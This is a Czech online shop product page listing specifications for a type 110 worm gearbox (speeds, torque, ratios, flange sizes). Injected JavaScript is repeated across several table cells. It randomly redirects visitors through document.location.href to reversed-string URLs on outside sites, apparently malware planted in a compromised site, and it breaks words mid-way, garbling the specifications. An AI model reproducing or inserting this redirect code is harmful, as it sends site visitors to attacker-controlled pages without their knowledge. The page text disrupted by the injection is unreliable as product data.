Description
Dokumentace:
Katalogový list 110
1 soubor(y) 242.83 KB
Seznam ND 110
1 soubor(y) 2.61 MB
komponenty pro pohonnou techniku - tel. 608 035 402
| Typ: | 110 |
| Výstupní otáčky: | 14-200 min-1 (n1 = 1400 min-1) |
| Výstupní toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}točivý moment: | 651 Nm |
| Převotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dový poměr: | 7-99: 1 |
| Materiál skříně: | hliník |
| Výstupní dutá hřídel: | Ø42 mm, Ø45 mm, |
| Mazání: | syntetický olej |
| Velikost motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torové příruby IEC: | 80B14 / 90B14 / 100B14 / 112B14 / 132B14 / 71B5 / 80B5 / 90B5 / 100B5 / 112B5 / 132B5 |
Dokumentace:
| Převodový poměr | 1:7 |
|---|---|
| Vstupní motorová příruba | B14/56 |
| Velikost převodové skříně | 030, 040, 050 |
Reviews
There are no reviews yet.